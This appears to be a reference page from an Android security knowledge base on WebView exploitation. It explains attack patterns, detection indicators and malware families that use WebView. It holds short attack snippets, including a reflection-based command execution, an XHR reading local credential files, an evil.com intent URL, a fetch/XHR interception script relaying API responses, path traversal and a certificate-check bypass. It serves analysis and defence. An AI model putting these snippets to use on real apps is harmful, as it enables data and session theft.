Skip to content

WebView Exploitation

Abusing the WebView component to execute code, access local files, steal data, or bridge between web and native Android context. WebView is an embedded browser. When misconfigured, it gives web content access to native device capabilities.

MITRE ATT&CK
ID Technique Tactic
T1658 Exploitation for Client Execution Execution

No dedicated MITRE technique exists for WebView misconfiguration abuse. T1658 covers exploiting vulnerabilities in WebView and browser components. WebView attacks span multiple techniques depending on the goal: credential theft via T1417.002 (GUI Input Capture), code execution via T1658.

Requirements
Requirement Details
Permission None (exploits app misconfiguration)
Condition Target app loads attacker-controlled URLs in a WebView or exposes JavaScript interfaces

Attack Surface

WebView inherits the app's permissions. If the host app has READ_CONTACTS, CAMERA, or INTERNET, JavaScript running in the WebView can potentially access those through exposed interfaces.

Attack Patterns

JavaScript Interface Abuse

Apps expose Java objects to JavaScript via addJavascriptInterface():

webView.addJavascriptInterface(new MyBridge(), "AndroidBridge");

JavaScript in the WebView can call methods on MyBridge:

AndroidBridge.sendSMS("1234567890", "message");

If the app loads attacker-controlled content into this WebView, the attacker's JavaScript calls the exposed methods directly.

Pre-API 17 (Android 4.2): any public method on the interface object was callable, including getClass(). This enabled full arbitrary code execution via reflection:

AndroidBridge.getClass().forName("java.lang.Runtime")
    .getMethod("exec", String.class)
    .invoke(null, "id");

API 17+: only methods annotated with @JavascriptInterface are exposed. This closed the reflection path but exposed methods are still callable.

File Access

WebView file access settings:

Setting Default Risk
setAllowFileAccess(true) true (API < 30), false (API 30+) Load file:// URIs, read local files
setAllowFileAccessFromFileURLs(true) false (API 16+) JavaScript in file:// pages can read other file://
setAllowUniversalAccessFromFileURLs(true) false (API 16+) JavaScript in file:// pages can access any origin
setAllowContentAccess(true) true Load content:// URIs

If an app loads file:///data/data/com.target.app/shared_prefs/config.xml in a WebView with file access enabled, JavaScript can read the content. Combined with XHR, files can be exfiltrated:

var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/shared_prefs/credentials.xml", false);
xhr.send();
var data = xhr.responseText;

URL Redirection / Content Injection

If the app loads URLs from intent extras or deep link parameters:

String url = getIntent().getStringExtra("url");
webView.loadUrl(url);

An attacker sends an intent with url=https://evil.com/phishing.html, and the WebView loads attacker content within the app's UI context. Users see the app's chrome (toolbar, navigation) around malicious content.

shouldOverrideUrlLoading Bypass

Apps use shouldOverrideUrlLoading() to filter URLs. Common bypass patterns:

  • URL encoding to evade string matching
  • Redirects through allowed domains
  • Fragment identifiers (#) to carry data past filters
  • JavaScript-initiated navigation vs. user-initiated navigation (handled differently)

WebResourceResponse Exploitation

Apps that override shouldInterceptRequest() to serve local content via WebResourceResponse can be exploited for arbitrary file theft. Oversecured documented this attack class using Amazon app vulnerabilities as examples: if the app returns file contents based on URL parameters without path validation, an attacker can request internal files.

public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
    String path = request.getUrl().getPath();
    File file = new File(getFilesDir(), path);
    return new WebResourceResponse("text/html", "utf-8", new FileInputStream(file));
}

A request to https://trusted.domain/../shared_prefs/credentials.xml traverses out of the intended directory. Oversecured's file theft checklist covers systematic identification of these patterns.

loadDataWithBaseURL Abuse

When an app uses loadDataWithBaseURL() with a privileged base URL, any JavaScript in the loaded HTML inherits origin access to that domain:

webView.loadDataWithBaseURL("https://trusted.domain", htmlContent, "text/html", "utf-8", null);

If htmlContent comes from attacker-controlled input, the JavaScript runs in the context of trusted.domain, with access to its cookies and local storage. Oversecured demonstrated this in Evernote, achieving universal XSS and theft of all cookies from all sites by combining exported activity abuse with loadDataWithBaseURL.

Remote-Controlled WebView Shells

A minimal APK pattern where the entire app is a single Activity containing a WebView that loads a remote URL. The APK itself has almost no code (1-2 classes) and requests only INTERNET, helping it pass automated scanners. All malicious behavior is controlled server-side.

The dangerous combination:

  • setJavaScriptEnabled(true) + addJavascriptInterface() lets the remote page call native methods
  • Intent.parseUri() from remote content lets the server launch arbitrary intents (open URLs, start apps, trigger downloads)
  • setAllowFileAccess(true) + setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW) lets the WebView access local files and load HTTP on HTTPS pages
  • Download listeners feed into the intent launcher, enabling server-directed APK installation

The URL loaded by the WebView often includes the app's package name in the path (e.g., https://c2.tld/<package_name>/page.html). This is a templated operation: one C2 domain serves different content per package name. Each variant is a WebView shell with a randomly generated package name, all pointing to the same server. The server decides what each "app" does based on the package name in the URL, enabling mass production of phishing, ad fraud, or redirect shells from a single infrastructure.

Identification is fast: random package name + 1-2 files in the main package + WebView loading a suspicious domain with package name in the URL path.

Man-in-the-Browser via fetch/XHR Interception

Malicious apps that embed a WebView for "legitimate" browsing (e.g., social media video downloaders, in-app browsers) inject JavaScript that monkey-patches window.fetch() and XMLHttpRequest.prototype.open() to intercept all API responses:

(function() {
    var origFetch = window.fetch;
    window.fetch = function(url, opts) {
        return origFetch.apply(this, arguments).then(function(response) {
            if (url.indexOf('/graphql/query') !== -1) {
                response.clone().text().then(function(body) {
                    AndroidFunction.onFetchResponse(url, body);
                });
            }
            return response;
        });
    };

    var origOpen = XMLHttpRequest.prototype.open;
    XMLHttpRequest.prototype.open = function(method, url) {
        this._url = url;
        this.addEventListener('load', function() {
            AndroidFunction.onXHRResponse(this._url, this.responseText);
        });
        return origOpen.apply(this, arguments);
    };
})();

The intercepted data is passed to a @JavascriptInterface bridge (addJavascriptInterface(receiver, "AndroidFunction")) where the native Java code processes it. This is injected via evaluateJavascript() on every page load through onPageStarted().

This pattern is distinct from overlay-based credential theft: the user interacts with the real website, but the app silently captures all API responses (including private data like stories, reels, user profiles, GraphQL query results) in the background. Combined with cookie theft (below), it provides full authenticated API access to the user's account.

The JavaScript payloads are often stored as AES-encrypted asset files within the APK (e.g., assets/a1 through assets/f1), decrypted at runtime with a hardcoded key/IV before injection via evaluateJavascript(). This prevents static analysis from revealing the interception logic. Each asset file may contain a different scraper targeting a specific platform: one for Instagram's private API (i.instagram.com/api/v1/media/), another for TikTok's fyp-feed-cache localStorage, another for Twitter/X GraphQL endpoints (TweetResultByRestId, HomeTimeline, UserTweets). The Java-side @JavascriptInterface bridge uses a shouldReadResponse(url) decision function to selectively exfiltrate only high-value API responses rather than all traffic.

Premium SMS Fraud via JavaScript Bridge

A @JavascriptInterface method exposed to a WebView enables server-controlled premium SMS billing. The C2 serves JavaScript that calls a bridge method like click_sms(number, body, serviceId). The native side sends the premium SMS via SmsManager.sendTextMessage(). A dynamically registered BroadcastReceiver at priority 999 intercepts the billing confirmation SMS so the user never sees the charge.

The three-piece pattern: C2 serves billing logic as JavaScript, WebView bridge calls native SMS, native receiver consumes the confirmation. The JavaScript bridge method accepting a phone number and message body is the key indicator.

Evasion techniques commonly paired with this pattern:

Technique Purpose
FLAG_EXCLUDE_FROM_RECENTS Billing activities do not appear in recent apps
Transparent window (ColorDrawable(0)) Permission request activities blend with the host app
isScreenOn() gating Billing only triggers when the user is actively using the device
ContentProvider auto-initialization SDK runs before Application.onCreate() without explicit init

WebView shares a cookie store via CookieManager. If an attacker can load content in the same WebView instance used for authenticated sessions, they can access session cookies:

document.cookie; // reads cookies for the current domain

If setAllowUniversalAccessFromFileURLs(true) is set, a file:// page can read cookies for any domain.

A common weaponization pattern: the app clears all cookies via CookieManager.removeAllCookies() to force the user to re-authenticate, then intercepts the fresh session cookies (sessionid, csrftoken, ds_user_id) from the Set-Cookie headers. The stolen session is stored in SharedPreferences and reloaded on subsequent app launches to make authenticated API calls with the user's identity. Some apps maintain hardcoded fallback session cookies for when no stolen credentials are available.

Beyond JavaScript-based access, the WebView cookie database file itself (/data/data/com.target.app/app_webview/Cookies) can be stolen through content provider path traversal or file theft chains, providing offline access to all stored cookies without executing JavaScript.

SSL Pinning Bypass via WebView

WebView SSL errors can be overridden:

webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
        handler.proceed(); // accepts any certificate
    }
});

This enables MITM attacks on all WebView traffic within the app.

Detection During Analysis

Static Indicators
  • addJavascriptInterface() calls and what methods are exposed
  • setAllowFileAccess(true), setAllowFileAccessFromFileURLs(true), setAllowUniversalAccessFromFileURLs(true)
  • URL loading from untrusted input (intent extras, deep link parameters)
  • onReceivedSslError with handler.proceed()
  • setJavaScriptEnabled(true) combined with any of the above
  • shouldInterceptRequest() overrides returning file contents based on URL parameters
Dynamic Indicators
  • WebView loading URLs from intent extras or deep link parameters
  • JavaScript bridge calls to native methods exposing sensitive functionality
  • File access attempts via file:// or content:// URIs in WebView
  • SSL errors silently accepted during WebView navigation

Oversecured's WebView security checklist provides a systematic approach to auditing WebView configurations. 8kSec's deep link and WebView exploitation guide provides hands-on exploitation walkthroughs using the InsecureShop vulnerable app, covering URL validation bypass techniques (e.g., verifying authority vs. domain name suffix).

Vendor-Specific WebView Vulnerabilities

OEM customizations introduce WebView attack surface beyond AOSP. Oversecured disclosed 7 Android and Pixel vulnerabilities including arbitrary file theft via WebView with default settings on stock Android devices. Their Xiaomi research found 20 security issues in Xiaomi system apps, several involving WebView misconfiguration in vendor-specific components. Oversecured's systematic audit of 225 Google apps revealed widespread WebView issues across Google's own app ecosystem.

Platform Lifecycle

Android Version API Change Offensive Impact
1.0 1 WebView component with addJavascriptInterface() Full reflection-based RCE via getClass() on any exposed object
4.2 17 @JavascriptInterface annotation required Reflection path closed; explicitly annotated methods remain callable
4.4 19 Chromium-based WebView replaces Android WebKit Improved sandboxing; application-level misconfigurations still exploitable
5.0 21 WebView updated via Play Store independently of OS Faster security patches; reduces window for WebView engine exploits
7.0 24 setAllowFileAccessFromFileURLs() and setAllowUniversalAccessFromFileURLs() default to false Apps explicitly enabling these settings remain vulnerable
9.0 28 Per-process WebView data directory isolation Does not prevent exploitation within the same process
10 29 setAllowFileAccess() defaults to false for apps targeting API 29+ Legacy apps targeting lower API levels still default to true

Families Using This Technique

Banking trojans heavily rely on WebView for overlay attacks. Overlay injects are typically HTML/JavaScript pages loaded in a WebView positioned over the target banking app. The WebView loads HTML/CSS/JS inject templates from C2, styled to match the target app's login screen.

Family WebView Usage Notes
Cerberus Overlay injects 300+ inject templates loaded via WebView
Anubis Overlay injects WebView injects + embedded keylogger
Octo Overlay injects WebView overlays combined with screen streaming
Hook Overlay injects 400+ targets, WebView injects from C2
GodFather Dynamic overlays WebView loads per-target HTML dynamically
Ermac Overlay injects Inherited Cerberus WebView inject system
Hydra Overlay injects 400+ target WebView templates
Xenomorph Overlay injects + ATS WebView inject kits with credential phishing
TsarBot Overlay injects 750+ target inject templates
Antidot Multi-language overlays WebView injects in 18 languages
Harly Invisible WebView Loads subscription pages in hidden WebView, auto-clicks subscription confirmation
Joker Invisible WebView Hidden WebView navigates premium subscription flows
BTMOB RAT Credential phishing WebView-based login phishing

Harly and Joker use an inverted approach: instead of showing WebViews to the user, they run invisible WebViews in the background to complete subscription fraud flows without user interaction.